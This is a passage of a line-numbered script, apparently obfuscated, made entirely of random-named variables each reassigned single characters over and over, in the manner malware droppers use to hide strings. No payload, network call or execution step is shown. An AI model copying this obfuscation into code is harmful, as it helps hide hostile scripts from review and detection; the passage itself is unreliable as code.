227	ydwbvfekv = "q";
228	ydwbvfekv = "M";
229	ydwbvfekv = "W";
230	ydwbvfekv = "q";
231	ydwbvfekv = "S";
232	ydwbvfekv = "H";
233	ydwbvfekv = "f";
234	ydwbvfekv = "a";
235	ydwbvfekv = "l";
236	ydwbvfekv = "L";
237	ydwbvfekv = "w";
238	ydwbvfekv = "M";
239	ydwbvfekv = "g";
240	ydwbvfekv = "b";
241	ydwbvfekv = "i";
242	ydwbvfekv = "m";
243	jdpmz = "D";
244	jdpmz = "Y";
245	jdpmz = "c";
246	jdpmz = "O";
247	jdpmz = "Y";
248	jdpmz = "V";
249	jdpmz = "I";
250	jdpmz = "t";
251	jdpmz = "J";
252	jdpmz = "z";
253	jdpmz = "K";
254	jdpmz = "V";
255	jdpmz = "U";
256	jdpmz = "j";
257	jdpmz = "y";
258	jdpmz = "F";
259	jdpmz = "I";
260	jdpmz = "i";
261	jdpmz = "P";
262	jdpmz = "o";
263	jdpmz = "L";
264	egsmxuic = "O";
265	egsmxuic = "q";
266	egsmxuic = "g";
267	egsmxuic = "c";
268	egsmxuic = "d";
269	egsmxuic = "r";
270	egsmxuic = "e";
271	egsmxuic = "f";
272	egsmxuic = "Y";
273	egsmxuic = "x";
274	egsmxuic = "p";
275	egsmxuic = "l";
276	egsmxuic = "j";
277	rvjvytify = "f";
278	rvjvytify = "i";
279	rvjvytify = "I";
280	rvjvytify = "q";
281	rvjvytify = "d";
282	rvjvytify = "O";
283	rvjvytify = "I";
284	rvjvytify = "z";
285	rvjvytify = "p";
286	rvjvytify = "i";
287	rvjvytify = "U";
288	rvjvytify = "I";
289	rvjvytify = "z";
290	rvjvytify = "K";
291	rvjvytify = "a";
292	rvjvytify = "S";
293	rvjvytify = "L";
294	rvjvytify = "O";
295	rvjvytify = "E";
296	rvjvytify = "w";
297	rvjvytify = "r";
298	rvjvytify = "j";
299	rvjvytify = "W";
300	rvjvytify = "B";
301	rvjvytify = "I";
302	rvjvytify = "X";
303	rvjvytify = "N";
304	rvjvytify = ":";
305	qllnvwnq = "z";
306	qllnvwnq = "d";
307	qllnvwnq = "y";
308	qllnvwnq = "a";
309	qllnvwnq = "D";
310	qllnvwnq = "U";
311	qllnvwnq = "z";
312	qllnvwnq = "Y";
313	qllnvwnq = "y";
314	qllnvwnq = "a";
315	qllnvwnq = "Y";
316	qllnvwnq = "j";
317	qllnvwnq = "Q";
318	hfxklmhga = "h";
319	hfxklmhga = "S";
320	hfxklmhga = "i";
321	hfxklmhga = "h";
322	hfxklmhga = "p";
323	hfxklmhga = "q";
324	hfxklmhga = "g";
325	hfxklmhga = "T";
326	hfxklmhga = "D";
327	hfxklmhga = "d";
328	hfxklmhga = "c";
329	hfxklmhga = "d";
330	hfxklmhga = "G";
331	hfxklmhga = "w";
332	hfxklmhga = "g";
333	hfxklmhga = "x";
334	hfxklmhga = "H";
335	hfxklmhga = "U";
336	hfxklmhga = "K";
337	hfxklmhga = "Q";
338	hfxklmhga = "Y";
339	hfxklmhga = "O";
340	hfxklmhga = "g";
341	hfxklmhga = "f";
342	hfxklmhga = "E";
343	hfxklmhga = "F";
344	hfxklmhga = "H";
345	hfxklmhga = "B";
346	hfxklmhga = "C";
347	hfxklmhga = "O";
348	hfxklmhga = "t";
349	hfxklmhga = "e";
350	hfxklmhga = "t";
351	hfxklmhga = "l";
352	hfxklmhga = "K";
353	hfxklmhga = "h";
354	hfxklmhga = "P";
355	dsmdn = "X";
356	dsmdn = "M";
357	dsmdn = "A";
358	dsmdn = "v";
359	dsmdn = "P";
360	dsmdn = "p";
361	dsmdn = "r";
362	dsmdn = "t";
363	dsmdn = "l";
364	dsmdn = "n";
365	dsmdn = "r";
366	dsmdn = "e";
367	dsmdn = "Z";
368	dsmdn = "V";
369	dsmdn = "m";
370	dsmdn = "g";
371	dsmdn = "F";
372	dsmdn = "h";
373	dsmdn = "P";
374	dsmdn = "W";
375	hkqjlgexc = "S";
376	hkqjlgexc = "Y";
377	hkqjlgexc = "a";
378	hkqjlgexc = "G";
379	hkqjlgexc = "V";
380	hkqjlgexc = "R";
381	hkqjlgexc = "x";
382	hkqjlgexc = "M";
383	hkqjlgexc = "q";
384	hkqjlgexc = "H";
385	hkqjlgexc = "U";
386	hkqjlgexc = "q";
387	hkqjlgexc = "e";
388	hkqjlgexc = "c";
389	hkqjlgexc = "s";
390	hkqjlgexc = "o";
391	hkqjlgexc = "J";
392	hkqjlgexc = "V";
393	hkqjlgexc = "q";
394	hkqjlgexc = "E";
395	hkqjlgexc = "S";
396	hkqjlgexc = "j";
397	hkqjlgexc = "U";
398	hkqjlgexc = "T";
399	fssif = "c";
400	fssif = "b";
401	fssif = "F";
402	fssif = "U";
403	fssif = "z";
404	fssif = "W";
405	fssif = "l";
406	fssif = "P";
407	fssif = "m";
408	fssif = "C";
409	fssif = "m";
410	fssif = "Z";
411	fssif = "d";
412	fssif = "X";
413	fssif = "L";
414	fssif = "E";
415	fssif = "1";
416	obzjofwux = "L";
417	obzjofwux = "S";
418	obzjofwux = "q";
419	obzjofwux = "R";
420	obzjofwux = "l";
421	obzjofwux = "a";
422	obzjofwux = "e";
423	obzjofwux = "C";
424	obzjofwux = "P";
425	obzjofwux = "d";
426	obzjofwux = "L";
427	obzjofwux = "H";
428	obzjofwux = "V";
429	obzjofwux = "k";
430	obzjofwux = "F";
431	obzjofwux = "I";
432	mutoapxmm = "I";
433	mutoapxmm = "a";
434	mutoapxmm = "f";
435	mutoapxmm = "s";
436	mutoapxmm = "r";
437	mutoapxmm = "u";
438	mutoapxmm = "W";
439	mutoapxmm = "v";
440	mutoapxmm = "e";
441	mutoapxmm = "i";
442	mutoapxmm = "Z";
443	mutoapxmm = "h";
444	mutoapxmm = "M";
445	mutoapxmm = "N";
446	mutoapxmm = "p";
447	mutoapxmm = "W";
448	mutoapxmm = "G";
449	mutoapxmm = "U";
450	mutoapxmm = "P";
451	mutoapxmm = "&";
452	vrhcplatx = "i";
453	vrhcplatx = "e";
454	vrhcplatx = "e";
455	vrhcplatx = "G";
456	vrhcplatx = "d";
457	vrhcplatx = "n";
458	vrhcplatx = "D";
459	vrhcplatx = "C";
460	vrhcplatx = "P";
461	vrhcplatx = "N";
462	vrhcplatx = "t";
463	vrhcplatx = "J";
464	vrhcplatx = "m";
465	vrhcplatx = "h";
466	vrhcplatx = "G";
467	vrhcplatx = "y";
468	vrhcplatx = "P";
469	vrhcplatx = "k";
470	vrhcplatx = "e";
471	vrhcplatx = "z";
472	vrhcplatx = "L";
473	vrhcplatx = "w";
474	vrhcplatx = "P";
475	vrhcplatx = "r";
476	vrhcplatx = "R";
477	vrhcplatx = "t";
478	vrhcplatx = "A";
479	vrhcplatx = "t";
480	vrhcplatx = "Y";
481	vrhcplatx = "Q";
482	vrhcplatx = "V";
483	vrhcplatx = "l";
484	vrhcplatx = "v";
485	vrhcplatx = "Z";
486	vrhcplatx = "g";
487	vrhcplatx = "c";
488	vrhcplatx = "J";
489	vrhcplatx = "D";
490	vrhcplatx = "M";
491	vrhcplatx = "m";
492	vrhcplatx = "D";
493	vrhcplatx = "n";
494	fzyhxvq = "i";
495	fzyhxvq = "L";
496	fzyhxvq = "V";
497	fzyhxvq = "O";
498	fzyhxvq = "I";
499	fzyhxvq = "R";
500	prssvwigq = "y";
501	prssvwigq = "I";
502	prssvwigq = "S";
503	prssvwigq = "d";
504	prssvwigq = "a";
505	prssvwigq = "B";
506	prssvwigq = "h";
507	prssvwigq = "V";
508	prssvwigq = "S";
509	prssvwigq = "S";
510	prssvwigq = "A";
511	prssvwigq = "a";
512	prssvwigq = "X";
513	prssvwigq = "Z";
514	prssvwigq = "Z";
515	prssvwigq = "B";
516	prssvwigq = "Z";
517	prssvwigq = "k";
518	prssvwigq = "A";
519	prssvwigq = "E";
520	prssvwigq = "u";
521	prssvwigq = "I";
522	prssvwigq = "R";
523	prssvwigq = "p";
524	prssvwigq = "I";
525	prssvwigq = "U";
526	prssvwigq = "h";
527	yzybqsoxn = "a";
528	yzybqsoxn = "R";
529	yzybqsoxn = "X";
530	yzybqsoxn = "e";
531	yzybqsoxn = "C";
532	yzybqsoxn = "E";
533	yzybqsoxn = "a";
534	yzybqsoxn = "f";
535	yzybqsoxn = "Y";
536	yzybqsoxn = "t";
537	yzybqsoxn = "b";
538	yzybqsoxn = "R";
539	yzybqsoxn = "n";
540	yzybqsoxn = "U";
541	yzybqsoxn = "w";
542	yzybqsoxn = "Y";
543	yzybqsoxn = "N";
544	tcljycwf = "f";
545	tcljycwf = "p";
546	tcljycwf = "R";
547	tcljycwf = "i";
548	tcljycwf = "p";
549	tcljycwf = "u";
550	tcljycwf = "H";
551	tcljycwf = "R";
552	tcljycwf = "c";
553	tcljycwf = "Z";
554	tcljycwf = "G";
555	tcljycwf = "l";
556	tcljycwf = "o";
557	tcljycwf = "x";
558	tcljycwf = "q";
559	uomsp = "k";
560	uomsp = "t";
561	uomsp = "U";
562	uomsp = "j";
563	uomsp = "H";
564	uomsp = "Y";
565	uomsp = "y";
566	uomsp = "R";
567	uomsp = "X";
568	uomsp = "H";
569	uomsp = "b";
570	tppqrjef = "I";
571	tppqrjef = "c";
572	tppqrjef = "n";
573	tppqrjef = "P";
574	tppqrjef = "W";
575	tppqrjef = "x";
576	tppqrjef = "E";
577	tppqrjef = "v";
578	tppqrjef = "f";
579	tppqrjef = "u";
580	tppqrjef = "f";
581	tppqrjef = "l";
582	tppqrjef = "F";
583	tppqrjef = "y";
584	tppqrjef = "r";
585	tppqrjef = "v";
586	tppqrjef = "v";
587	tppqrjef = "G";
588	tppqrjef = "u";
589	tppqrjef = "b";
590	tppqrjef = "a";
591	tppqrjef = "w";
592	tppqrjef = "W";
593	tppqrjef = "U";
594	tppqrjef = "G";
595	tppqrjef = "e";
596	tppqrjef = "k";
597	tppqrjef = "k";
598	tppqrjef = "w";
599	tppqrjef = "r";
600	tppqrjef = "U";
601	tppqrjef = "R";
602	tppqrjef = "j";
603	tppqrjef = "Z";
604	tppqrjef = "G";
605	tppqrjef = "O";
606	tppqrjef = "Q";
607	tppqrjef = "u";
608	tppqrjef = "d";
609	tppqrjef = "I";
610	tppqrjef = "A";
611	tppqrjef = "a";
612	tppqrjef = "s";
613	tppqrjef = "S";
614	tppqrjef = "l";
615	bmtzk = "T";
616	bmtzk = "f";
617	bmtzk = "L";
618	bmtzk = "T";
619	bmtzk = "Y";
620	bmtzk = "x";
621	cbrmvy = "T";
622	cbrmvy = "e";
623	cbrmvy = "q";
624	cbrmvy = "L";
625	cbrmvy = "B";
626	cbrmvy = "v";
627	cbrmvy = "Q";
628	cbrmvy = "J";
629	cbrmvy = "u";
630	cbrmvy = "r";
631	cbrmvy = "R";
632	cbrmvy = "j";
633	cbrmvy = "_";
634	nqhtstk = "q";
635	nqhtstk = "a";
636	nqhtstk = "i";
637	nqhtstk = "g";
638	nqhtstk = "F";
639	nqhtstk = "a";
640	nxmxicee = "b";
641	nxmxicee = "C";
642	nxmxicee = "u";
643	nxmxicee = "t";
644	fbsxv = "U";
645	fbsxv = "t";
646	fbsxv = "n";
647	fbsxv = "Q";
648	fbsxv = "t";
649	fbsxv = "Y";
650	fbsxv = "I";
651	fbsxv = "e";
652	fbsxv = "p";
653	fbsxv = "E";
654	fbsxv = "O";
655	fbsxv = "J";
656	fbsxv = "d";
657	fbsxv = "A";
658	fbsxv = "b";
659	fbsxv = "m";
660	fbsxv = "T";
661	fbsxv = "I";
662	fbsxv = "s";
663	fbsxv = "m";
664	fbsxv = "G";
665	fbsxv = "j";
666	fbsxv = "W";
667	fbsxv = "q";
668	fbsxv = "p";
669	fbsxv = "y";
670	fbsxv = "G";
671	fbsxv = "Y";
672	fbsxv = "B";
673	fbsxv = "f";
674	ldprsbu = "b";
675	ldprsbu = "F";
676	ldprsbu = "r";
677	ldprsbu = "B";
678	ldprsbu = "W";
679	ldprsbu = "f";
680	ldprsbu = "A";
681	ldprsbu = "z";
682	ldprsbu = "d";
683	ldprsbu = "w";
684	ldprsbu = "i";
685	ldprsbu = "9";
686	cktrhd = "N";
687	cktrhd = "J";
688	cktrhd = "Y";
689	cktrhd = "n";
690	cktrhd = "R";
691	cktrhd = "D";
692	cktrhd = "G";
693	cktrhd = "g";
694	cktrhd = "t";
695	cktrhd = "U";
696	cktrhd = "Y";
697	cktrhd = "Z";
698	cktrhd = "h";
699	cktrhd = "A";
700	cktrhd = "e";
701	cktrhd = "v";
702	cktrhd = "E";
703	cktrhd = "G";
704	cktrhd = "P";
705	cktrhd = "S";
706	cktrhd = "B";
707	cktrhd = "P";
708	cktrhd = "S";
709	hzuuriyi = "a";
710	hzuuriyi = "N";
711	hzuuriyi = "w";
712	hzuuriyi = "a";
713	hzuuriyi = "C";
714	hzuuriyi = "D";
715	hzuuriyi = "G";
716	hzuuriyi = "q";
717	hzuuriyi = "z";
718	hzuuriyi = "l";
719	hzuuriyi = "n";
720	hzuuriyi = "T";
721	hzuuriyi = "l";
722	hzuuriyi = "C";
723	hzuuriyi = "t";
724	hzuuriyi = "I";
725	hzuuriyi = "S";
726	hzuuriyi = "L";
727	hzuuriyi = "B";
728	hzuuriyi = "t";
729	hzuuriyi = "o";
730	hzuuriyi = "d";
731	hzuuriyi = "D";
732	hzuuriyi = "Q";
733	hzuuriyi = "U";
734	hzuuriyi = "y";
735	hzuuriyi = "R";
736	hzuuriyi = "k";
737	hzuuriyi = "v";
738	wggjledh = "q";
739	wggjledh = "M";
740	wggjledh = "Y";
741	wggjledh = "b";
742	wggjledh = "m";
743	wggjledh = "e";
744	jnpgfkzv = "P";
745	jnpgfkzv = "B";
746	jnpgfkzv = "F";
747	jnpgfkzv = "W";
748	jnpgfkzv = "j";
749	jnpgfkzv = "Y";
750	jnpgfkzv = "A";
751	jnpgfkzv = "Q";
752	jnpgfkzv = "e";
753	jnpgfkzv = "z";
754	jnpgfkzv = "m";
755	jnpgfkzv = "Z";
756	jnpgfkzv = "L";
757	jnpgfkzv = "u";
758	jnpgfkzv = "J";
759	jnpgfkzv = "g";
760	jnpgfkzv = "B";
761	jnpgfkzv = "S";
762	jnpgfkzv = "A";
763	jnpgfkzv = "2";
764	ctpwaexsy = "U";
765	ctpwaexsy = "W";
766	ctpwaexsy = "R";
767	ctpwaexsy = "H";
768	ctpwaexsy = "A";
769	ctpwaexsy = "y";
770	ctpwaexsy = "o";
771	ctpwaexsy = "m";
772	ctpwaexsy = "D";
773	ctpwaexsy = "r";
774	ctpwaexsy = "z";
775	ctpwaexsy = "G";
776	ctpwaexsy = "X";
777	ctpwaexsy = "C";
778	ctpwaexsy = "k";
779	skwcnudbu = "k";
780	skwcnudbu = "P";
781	skwcnudbu = "H";
782	skwcnudbu = "8";
783	ohbxqfjb = "j";
784	ohbxqfjb = "A";
785	ohbxqfjb = "L";
786	ohbxqfjb = "f";
787	ohbxqfjb = "Q";
788	ohbxqfjb = "H";
789	ohbxqfjb = "t";
790	ohbxqfjb = "v";
791	ohbxqfjb = "Q";
792	ohbxqfjb = "K";
793	ohbxqfjb = "Y";
794	ohbxqfjb = "u";
795	ohbxqfjb = "p";
796	ohbxqfjb = "U";
797	ohbxqfjb = "S";
798	ohbxqfjb = "a";
799	ohbxqfjb = "j";
800	ohbxqfjb = "K";
801	ohbxqfjb = "P";
802	ohbxqfjb = "c";
803	ohbxqfjb = "N";
804	ohbxqfjb = "u";
805	ohbxqfjb = "z";
806	ohbxqfjb = "G";
807	ohbxqfjb = "s";
808	ohbxqfjb = "a";
809	ohbxqfjb = "F";
810	ohbxqfjb = "E";
811	aulmfmg = "N";
812	aulmfmg = "Z";
813	aulmfmg = "W";
814	aulmfmg = "B";
815	aulmfmg = "U";
816	aulmfmg = "W";
817	aulmfmg = "L";
818	aulmfmg = "K";
819	aulmfmg = "D";
820	aulmfmg = "a";
821	aulmfmg = "S";
822	aulmfmg = "Z";
823	aulmfmg = "o";
824	aulmfmg = "K";
825	aulmfmg = "a";
826	aulmfmg = "q";
827	aulmfmg = "C";
828	aulmfmg = "n";
829	aulmfmg = "t";
830	aulmfmg = "T";
831	aulmfmg = "W";
832	aulmfmg = "S";
833	aulmfmg = "u";
834	aulmfmg = "x";
835	aulmfmg = "U";
836	aulmfmg = "M";
837	aulmfmg = "v";
838	aulmfmg = "Q";
839	aulmfmg = "F";
840	aulmfmg = "F";
841	aulmfmg = "V";
842	aulmfmg = "J";
843	aulmfmg = "V";
844	aulmfmg = "X";
845	aulmfmg = "j";
846	aulmfmg = "Z";
847	aulmfmg = "K";
848	aulmfmg = "/";
849	huwjz = "p";
850	huwjz = "l";
851	huwjz = "O";
852	huwjz = "S";
853	huwjz = "F";
854	huwjz = "z";
855	huwjz = "H";
856	huwjz = "x";
857	huwjz = "p";
858	kwalrpt = "J";
859	kwalrpt = "Z";
860	kwalrpt = "k";
861	kwalrpt = "l";
862	kwalrpt = "k";
863	kwalrpt = "T";
864	kwalrpt = "h";
865	kwalrpt = "i";
866	kwalrpt = "l";
867	kwalrpt = "U";
868	kwalrpt = "H";
869	kwalrpt = "i";
870	kwalrpt = "s";
871	kwalrpt = "M";
872	kwalrpt = "m";
873	kwalrpt = "Y";
874	kwalrpt = "E";
875	kwalrpt = "g";
876	fythazza = "d";
877	fythazza = "z";
878	fythazza = "v";
879	fythazza = "P";
880	fythazza = "F";
881	fythazza = "G";
882	fythazza = "V";
883	fythazza = "z";
884	fythazza = "z";
885	fythazza = "p";
886	fythazza = "u";
887	fythazza = "q";
888	fythazza = "I";
889	fythazza = "%";
890	beopitvsm = "S";
891	beopitvsm = "M";
892	beopitvsm = "u";
893	beopitvsm = "y";
894	beopitvsm = "K";
895	beopitvsm = "P";
896	beopitvsm = "q";
897	beopitvsm = "d";
898	beopitvsm = "o";
899	beopitvsm = "x";
900	beopitvsm = "y";
901	beopitvsm = "W";
902	beopitvsm = " ";
903	rnyoeao = "Z";
904	rnyoeao = "x";
905	rnyoeao = "R";
906	rnyoeao = "G";
907	rnyoeao = "Z";
908	rnyoeao = "D";
909	rnyoeao = "a";
910	rnyoeao = "G";
911	rnyoeao = "w";
912	rnyoeao = "G";
913	rnyoeao = "y";
914	rnyoeao = "U";
915	rnyoeao = "d";
916	rnyoeao = "N";
917	rnyoeao = "M";
918	rnyoeao = "F";
919	fjnehxkw = "w";
920	fjnehxkw = "m";
921	fjnehxkw = "c";
922	ziowoargg = "F";
923	ziowoargg = "O";
924	ziowoargg = "Q";
925	ziowoargg = "n";
926	ziowoargg = "m";
927	ziowoargg = "Q";
928	ziowoargg = "u";
929	ziowoargg = "J";
930	ziowoargg = "s";
931	ziowoargg = "w";
932	ziowoargg = "z";
933	ziowoargg = "H";
934	ziowoargg = "t";
935	ziowoargg = "s";
936	ziowoargg = "A";
937	ziowoargg = "b";
938	ziowoargg = "j";
939	ziowoargg = "f";
940	ziowoargg = "U";
941	ziowoargg = "P";
942	ziowoargg = "G";
943	ziowoargg = "a";
944	ziowoargg = "m";
945	ziowoargg = "O";
946	ziowoargg = "S";
947	ziowoargg = "x";
948	ziowoargg = "e";
949	ziowoargg = "P";
950	ziowoargg = "k";
951	ziowoargg = "v";
952	ziowoargg = "M";
953	ziowoargg = "P";
954	ziowoargg = "V";
955	ziowoargg = "c";
956	ziowoargg = "V";
957	ziowoargg = "b";
958	ziowoargg = "r";
959	hwfosrxn = "g";
960	hwfosrxn = "v";
961	hwfosrxn = "F";
962	hwfosrxn = "L";
963	hwfosrxn = "e";
964	hwfosrxn = "c";
965	hwfosrxn = "F";
966	hwfosrxn = "I";
967	hwfosrxn = "H";
968	hwfosrxn = "X";
969	hwfosrxn = "j";
970	hwfosrxn = "r";
971	hwfosrxn = "G";
972	hwfosrxn = "H";
973	hwfosrxn = "l";
974	hwfosrxn = "f";
975	hwfosrxn = "n";
976	hwfosrxn = "W";
977	hwfosrxn = "N";
978	hwfosrxn = "C";
979	hwfosrxn = "x";
980	hwfosrxn = "s";
981	hwfosrxn = "F";
982	hwfosrxn = "G";
983	hwfosrxn = "H";
984	hwfosrxn = "p";
985	hwfosrxn = "k";
986	hwfosrxn = "m";
987	hwfosrxn = "H";
988	hwfosrxn = "U";
989	lxwlchmr = "B";
990	lxwlchmr = "t";
991	lxwlchmr = "K";
992	lxwlchmr = "G";
993	lxwlchmr = "G";
994	lxwlchmr = "I";
995	lxwlchmr = "N";
996	lxwlchmr = "A";
997	lxwlchmr = "K";
998	lxwlchmr = "L";
999	lxwlchmr = "b";
1000	lxwlchmr = "Q";
1001	lxwlchmr = "F";
1002	lxwlchmr = "I";
1003	lxwlchmr = "P";
1004	lxwlchmr = "P";
1005	lxwlchmr = "r";
1006	lxwlchmr = "m";
1007	lxwlchmr = "V";
1008	lxwlchmr = "m";
1009	lxwlchmr = "i";
1010	lxwlchmr = "b";
1011	lxwlchmr = "m";
1012	lxwlchmr = "H";
1013	lxwlchmr = "s";
1014	lxwlchmr = "Z";
1015	lxwlchmr = "y";
1016	lxwlchmr = "F";
1017	lxwlchmr = "z";
1018	lxwlchmr = "U";
1019	lxwlchmr = "P";
1020	lxwlchmr = "H";
1021	lxwlchmr = "M";
1022	lxwlchmr = "O";
1023	lxwlchmr = "\"";
1024	hloliztto = "N";
1025	hloliztto = "K";
1026	hloliztto = "J";
1027	hloliztto = "Z";
1028	hloliztto = "v";
1029	hloliztto = "B";
1030	hloliztto = "B";
1031	hloliztto = "X";
1032	hloliztto = "C";
1033	hloliztto = "Y";
1034	hloliztto = "S";
1035	hloliztto = "H";
1036	hloliztto = "o";
1037	hloliztto = "S";
1038	hloliztto = "z";
1039	hloliztto = "m";
1040	hloliztto = "L";
1041	hloliztto = "w";
1042	hloliztto = "V";
1043	hloliztto = "A";
1044	hloliztto = "y";
1045	hloliztto = "J";
1046	hloliztto = "S";
1047	hloliztto = "k";
1048	hloliztto = "C";
1049	ujvxuaci = "l";
1050	ujvxuaci = "k";
1051	ujvxuaci = "S";
1052	ujvxuaci = "m";
1053	ujvxuaci = "j";
1054	ujvxuaci = "M";
1055	ujvxuaci = "P";
1056	ujvxuaci = "v";
1057	ujvxuaci = "T";
1058	ujvxuaci = "r";
1059	ujvxuaci = "p";
1060	ujvxuaci = "u";
1061	ujvxuaci = "V";
1062	ujvxuaci = "Z";
1063	ujvxuaci = "T";
1064	ujvxuaci = "y";
1065	ujvxuaci = "K";
1066	ujvxuaci = "C";
1067	ujvxuaci = "Y";
1068	lzzvgthnp = "p";
1069	lzzvgthnp = "T";
1070	lzzvgthnp = "L";
1071	lzzvgthnp = "t";
1072	lzzvgthnp = "Q";
1073	lzzvgthnp = "x";
1074	lzzvgthnp = "i";
1075	lzzvgthnp = "h";
1076	lzzvgthnp = "U";
1077	lzzvgthnp = "v";
1078	lzzvgthnp = "f";
1079	lzzvgthnp = "w";
1080	lzzvgthnp = "V";
1081	lzzvgthnp = "m";
1082	lzzvgthnp = "L";
1083	lzzvgthnp = "x";
1084	lzzvgthnp = "n";
1085	lzzvgthnp = "l";
1086	lzzvgthnp = "f";
1087	lzzvgthnp = "I";
1088	lzzvgthnp = "M";
1089	lzzvgthnp = "5";
1090	poerdupt = "y";
1091	poerdupt = "B";
1092	poerdupt = "N";
1093	poerdupt = "A";
1094	poerdupt = "t";
1095	poerdupt = "h";
1096	poerdupt = "G";
1097	poerdupt = "d";
1098	dqxdeq = "i";
1099	dqxdeq = "B";
1100	dqxdeq = "q";
1101	dqxdeq = "B";
1102	dqxdeq = "s";
1103	dqxdeq = "l";
1104	dqxdeq = "c";
1105	dqxdeq = "A";
1106	dqxdeq = "Y";
1107	dqxdeq = "C";
1108	dqxdeq = "f";
1109	dqxdeq = "S";
1110	dqxdeq = "r";
1111	dqxdeq = "M";
1112	dqxdeq = "H";
1113	dqxdeq = "G";
1114	dqxdeq = "C";
1115	dqxdeq = "q";
1116	dqxdeq = "e";
1117	dqxdeq = "S";
1118	dqxdeq = "y";
1119	dqxdeq = "r";
1120	dqxdeq = "S";
1121	dqxdeq = "S";
1122	dqxdeq = "f";
1123	dqxdeq = "c";
1124	dqxdeq = "A";
1125	dqxdeq = "R";
1126	dqxdeq = "I";
1127	dqxdeq = "t";
1128	dqxdeq = "z";
1129	dqxdeq = "f";
1130	dqxdeq = "b";
1131	dqxdeq = "v";
1132	dqxdeq = "p";
1133	dqxdeq = "J";
1134	dqxdeq = "K";
1135	xapwqkcru = "k";
1136	xapwqkcru = "n";
1137	xapwqkcru = "v";
1138	xapwqkcru = "J";
1139	xapwqkcru = "Z";
1140	xapwqkcru = "P";
1141	xapwqkcru = "o";
1142	xapwqkcru = "H";
1143	xapwqkcru = "j";
1144	xapwqkcru = "T";
1145	xapwqkcru = "r";
1146	xapwqkcru = "X";
1147	xapwqkcru = "L";
1148	xapwqkcru = "k";
1149	xapwqkcru = "u";
1150	xapwqkcru = "k";
1151	xapwqkcru = "G";
1152	xapwqkcru = "b";
1153	xapwqkcru = "E";
1154	xapwqkcru = "K";
1155	xapwqkcru = "E";
1156	xapwqkcru = "h";
1157	xapwqkcru = "d";
1158	xapwqkcru = "A";
1159	xapwqkcru = "W";
1160	xapwqkcru = "E";
1161	xapwqkcru = "O";
1162	xapwqkcru = "B";
1163	xapwqkcru = "U";
1164	xapwqkcru = "B";
1165	xapwqkcru = "f";
1166	xapwqkcru = "E";
1167	xapwqkcru = "N";
1168	xapwqkcru = "p";
1169	xapwqkcru = "G";
1170	xapwqkcru = "F";
1171	xapwqkcru = "M";
1172	xapwqkcru = "V";
1173	xapwqkcru = "i";
1174	xapwqkcru = "N";
1175	xapwqkcru = "d";
1176	xapwqkcru = "p";
1177	xapwqkcru = "X";
1178	xapwqkcru = "-";
1179	jhiyigy = "C";
1180	jhiyigy = "p";
1181	jhiyigy = "a";
1182	jhiyigy = "q";
1183	jhiyigy = "b";
1184	jhiyigy = "D";
1185	jhiyigy = "t";
1186	jhiyigy = "w";
1187	jhiyigy = "I";
1188	jhiyigy = "b";
1189	jhiyigy = "F";
1190	jhiyigy = "M";
1191	jhiyigy = "E";
1192	jhiyigy = "c";
1193	jhiyigy = "e";
1194	jhiyigy = "K";
1195	jhiyigy = "j";
1196	jhiyigy = "N";
1197	jhiyigy = "r";
1198	jhiyigy = "x";
1199	jhiyigy = "g";
1200	jhiyigy = "N";
1201	jhiyigy = "g";
1202	jhiyigy = "k";
1203	jhiyigy = "Z";
1204	jhiyigy = "U";
1205	jhiyigy = "k";
1206	jhiyigy = "T";
1207	jhiyigy = "z";
1208	jhiyigy = "P";
1209	jhiyigy = "c";
1210	jhiyigy = "B";
1211	jhiyigy = "J";
1212	jhiyigy = "x";
1213	jhiyigy = "r";
1214	jhiyigy = "L";
1215	jhiyigy = "f";
1216	jhiyigy = "E";
1217	jhiyigy = "I";
1218	jhiyigy = "N";
1219	jhiyigy = "J";
1220	jhiyigy = "M";
1221	jhiyigy = "u";
1222	gbodthdm = "k";
1223	gbodthdm = "M";
1224	gbodthdm = "S";
1225	gbodthdm = "M";
1226	gbodthdm = "Z";
1227	gbodthdm = "G";
1228	gbodthdm = "i";
1229	gbodthdm = "m";
1230	gbodthdm = "r";
1231	gbodthdm = "l";
1232	gbodthdm = "g";
1233	gbodthdm = "T";
1234	gbodthdm = "E";
1235	gbodthdm = "t";
1236	gbodthdm = "O";
1237	gbodthdm = "M";
1238	gbodthdm = "W";
1239	gbodthdm = "I";
1240	gbodthdm = "y";
1241	gbodthdm = "V";
1242	gbodthdm = "X";
1243	gbodthdm = "q";
1244	gbodthdm = "j";
1245	gbodthdm = "M";
1246	gbodthdm = "G";
1247	gbodthdm = "T";
1248	gbodthdm = "K";
1249	gbodthdm = "E";
1250	gbodthdm = "K";
1251	gbodthdm = "f";
1252	gbodthdm = "A";
1253	gbodthdm = "q";
1254	gbodthdm = "z";
1255	gbodthdm = "r";
1256	gbodthdm = ".";
1257	iyvrknutg = "Y";
1258	iyvrknutg = "X";
1259	iyvrknutg = "L";
1260	iyvrknutg = "R";
1261	iyvrknutg = "J";
1262	iyvrknutg = "y";
1263	iyvrknutg = "G";
1264	iyvrknutg = "r";
1265	iyvrknutg = "l";
1266	iyvrknutg = "s";
1267	iyvrknutg = "T";
1268	iyvrknutg = "O";
1269	iyvrknutg = "A";
1270	iyvrknutg = "H";
1271	iyvrknutg = "i";
1272	iyvrknutg = "M";
1273	iyvrknutg = "R";
1274	iyvrknutg = "J";
1275	iyvrknutg = "D";
1276	iyvrknutg = "N";
1277	iyvrknutg = "T";
1278	iyvrknutg = "N";
1279	iyvrknutg = "B";
1280	iyvrknutg = "e";
1281	iyvrknutg = "p";
1282	iyvrknutg = "l";
1283	iyvrknutg = "o";
1284	iyvrknutg = "o";
1285	iyvrknutg = "g";
1286	iyvrknutg = "Y";
1287	iyvrknutg = "C";
1288	iyvrknutg = "o";
1289	iyvrknutg = "f";
1290	iyvrknutg = "O";
1291	wolri = "F";
1292	wolri = "l";
1293	wolri = "t";
1294	wolri = "f";
1295	wolri = "P";
1296	wolri = "f";
1297	wolri = "G";
1298	wolri = "s";
1299	wolri = "L";
1300	wolri = "w";
1301	wolri = "W";
1302	wolri = "r";
1303	wolri = "u";
1304	wolri = "H";
1305	qbkbquk = "O";
1306	qbkbquk = "W";
1307	qbkbquk = "Y";
1308	qbkbquk = "n";
1309	qbkbquk = "g";
1310	qbkbquk = "s";
1311	qbkbquk = "W";
1312	qbkbquk = "R";
1313	qbkbquk = "n";
1314	qbkbquk = "q";
1315	qbkbquk = "I";
1316	qbkbquk = "z";
1317	qbkbquk = "Z";
1318	qbkbquk = "M";
1319	qbkbquk = "i";
1320	pqatgz = "P";
1321	pqatgz = "X";
1322	pqatgz = "z";
1323	pqatgz = "z";
1324	pqatgz = "n";
1325	pqatgz = "X";
1326	pqatgz = "z";
1327	pqatgz = "u";
